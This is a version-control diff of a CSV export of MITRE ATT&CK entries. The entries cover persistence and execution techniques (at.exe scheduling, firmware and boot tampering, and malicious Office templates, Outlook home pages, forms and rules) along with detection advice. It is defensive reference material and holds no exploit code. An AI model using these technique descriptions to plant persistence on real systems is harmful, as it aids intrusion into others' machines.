'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/002', 'external_id': 'T1053.002'}, {'source_name': 'Twitter Leoloobeek Scheduled Task', 'description': 'Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', 'url': 'https://twitter.com/leoloobeek/status/939248813465853953'}, {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'}, {'source_name': 'TechNet Scheduled Task Events', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'url': 'https://technet.microsoft.com/library/dd315590.aspx'}, {'source_name': 'Microsoft Scheduled Task Events Win10', 'description': 'Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.0,attack-pattern,attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-27T13:52:45.853Z,2020-03-24T13:43:40.776Z,At (Windows),"Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. An adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM). -Note: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.",attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2020-03-24T13:43:40.776Z,2019-11-27T13:52:45.853Z,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. +Note: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.","['execution', 'persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1053/002,mitre-attack,T1053.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the ""Microsoft-Windows-TaskScheduler/Operational"" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) @@ -2558,13 +2788,13 @@ Configure event logging for scheduled task creation and changes by enabling the Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) -Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,['Administrator'],['Windows'],True,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1542', 'url': 'https://attack.mitre.org/techniques/T1542'}, {'source_name': 'Wikipedia Booting', 'url': 'https://en.wikipedia.org/wiki/Booting', 'description': 'Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.'}, {'url': 'https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html', 'description': ""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", 'source_name': 'ITWorld Hard Disk Health Dec 2014'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.1,False,https://attack.mitre.org/techniques/T1542,mitre-attack,T1542,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Pre-OS Boot,"Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",True,['Administrator'],['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542', 'external_id': 'T1542'}, {'source_name': 'Wikipedia Booting', 'description': 'Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.', 'url': 'https://en.wikipedia.org/wiki/Booting'}, {'source_name': 'ITWorld Hard Disk Health Dec 2014', 'description': ""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", 'url': 'https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html'}]",1.1,attack-pattern,attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-13T14:44:49.439Z,2020-10-22T16:35:54.740Z,Pre-OS Boot,"Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) -Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.",attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e,attack-pattern,"['defense-evasion', 'persistence']",2020-10-22T16:35:54.740Z,2019-11-13T14:44:49.439Z,"Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. +Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.","['defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1542,mitre-attack,T1542,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification', 'Driver: Driver Metadata', 'Process: OS API Execution', 'Drive: Drive Modification']","['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']","Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. -Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)","['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification', 'Driver: Driver Metadata', 'Process: OS API Execution', 'Drive: Drive Modification']",,"['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']","['Administrator', 'SYSTEM']","['Linux', 'Windows', 'Network']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1137.001', 'url': 'https://attack.mitre.org/techniques/T1137/001'}, {'url': 'https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea', 'description': 'Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.', 'source_name': 'Microsoft Change Normal Template'}, {'url': 'https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office', 'description': 'Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.', 'source_name': 'MSDN VBA in Office'}, {'url': 'https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/', 'description': 'Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.', 'source_name': 'enigma0x3 normal.dotm'}, {'url': 'http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/', 'description': 'Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017.', 'source_name': 'Hexacorn Office Template Macros'}, {'source_name': 'GlobalDotName Jun 2019', 'url': 'https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique', 'description': 'Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.'}, {'source_name': 'CrowdStrike Outlook Forms', 'url': 'https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746', 'description': 'Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.'}, {'source_name': 'Outlook Today Home Page', 'url': 'https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943', 'description': 'Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1137/001,mitre-attack,T1137.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Office Template Macros,"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) +Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)",False,"['Administrator', 'SYSTEM']","['Linux', 'Windows', 'Network']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/001', 'external_id': 'T1137.001'}, {'source_name': 'Microsoft Change Normal Template', 'description': 'Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.', 'url': 'https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea'}, {'source_name': 'MSDN VBA in Office', 'description': 'Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.', 'url': 'https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office'}, {'source_name': 'enigma0x3 normal.dotm', 'description': 'Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.', 'url': 'https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/'}, {'source_name': 'Hexacorn Office Template Macros', 'description': 'Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017.', 'url': 'http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/'}, {'source_name': 'GlobalDotName Jun 2019', 'description': 'Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.', 'url': 'https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique'}, {'source_name': 'CrowdStrike Outlook Forms', 'description': 'Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.', 'url': 'https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746'}, {'source_name': 'Outlook Today Home Page', 'description': 'Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.', 'url': 'https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943'}]",1.1,attack-pattern,attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:29:17.788Z,2021-08-16T21:27:10.873Z,Office Template Macros,"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) @@ -2576,125 +2806,125 @@ Excel Personal.xlsb location:
Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) -An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21,attack-pattern,['persistence'],2020-06-25T17:48:08.916Z,2019-11-07T20:29:17.788Z,"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,,"['User', 'Administrator']","['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1137.004', 'url': 'https://attack.mitre.org/techniques/T1137/004'}, {'source_name': 'SensePost Outlook Home Page', 'url': 'https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/', 'description': 'Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019.'}, {'source_name': 'Microsoft Detect Outlook Forms', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.'}, {'source_name': 'SensePost NotRuler', 'url': 'https://github.com/sensepost/notruler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1137/004,mitre-attack,T1137.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Outlook Home Page,"Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) +An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",['persistence'],https://attack.mitre.org/techniques/T1137/001,mitre-attack,T1137.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)",True,"['User', 'Administrator']","['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/004', 'external_id': 'T1137.004'}, {'source_name': 'SensePost Outlook Home Page', 'description': 'Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019.', 'url': 'https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",1.1,attack-pattern,attack-pattern--bf147104-abf9-4221-95d1-e81585859441,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:09:56.536Z,2021-08-16T21:30:01.743Z,Outlook Home Page,"Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page) -",attack-pattern--bf147104-abf9-4221-95d1-e81585859441,attack-pattern,['persistence'],2020-03-26T17:35:51.656Z,2019-11-07T20:09:56.536Z,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) +",['persistence'],https://attack.mitre.org/techniques/T1137/004,mitre-attack,T1137.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1137.003', 'url': 'https://attack.mitre.org/techniques/T1137/003'}, {'source_name': 'SensePost Outlook Forms', 'url': 'https://sensepost.com/blog/2017/outlook-forms-and-shells/', 'description': 'Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.'}, {'source_name': 'Microsoft Detect Outlook Forms', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.'}, {'source_name': 'SensePost NotRuler', 'url': 'https://github.com/sensepost/notruler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1137/003,mitre-attack,T1137.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Outlook Forms,"Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",True,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/003', 'external_id': 'T1137.003'}, {'source_name': 'SensePost Outlook Forms', 'description': 'Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.', 'url': 'https://sensepost.com/blog/2017/outlook-forms-and-shells/'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",1.1,attack-pattern,attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:06:02.624Z,2021-08-16T21:29:19.697Z,Outlook Forms,"Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms) -Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634,attack-pattern,['persistence'],2020-03-26T17:35:15.823Z,2019-11-07T20:06:02.624Z,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) +Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",['persistence'],https://attack.mitre.org/techniques/T1137/003,mitre-attack,T1137.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1137.005', 'url': 'https://attack.mitre.org/techniques/T1137/005'}, {'source_name': 'SilentBreak Outlook Rules', 'url': 'https://silentbreaksecurity.com/malicious-outlook-rules/', 'description': 'Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.'}, {'source_name': 'Microsoft Detect Outlook Forms', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.'}, {'source_name': 'SensePost NotRuler', 'url': 'https://github.com/sensepost/notruler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1137/005,mitre-attack,T1137.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Outlook Rules,"Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",True,"['Administrator', 'User']","['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/005', 'external_id': 'T1137.005'}, {'source_name': 'SilentBreak Outlook Rules', 'description': 'Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.', 'url': 'https://silentbreaksecurity.com/malicious-outlook-rules/'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'Pfammatter - Hidden Inbox Rules', 'description': 'Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.', 'url': 'https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",1.1,attack-pattern,attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:00:25.560Z,2021-10-15T20:18:30.700Z,Outlook Rules,"Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) -Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44,attack-pattern,['persistence'],2020-03-26T17:36:15.923Z,2019-11-07T20:00:25.560Z,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) 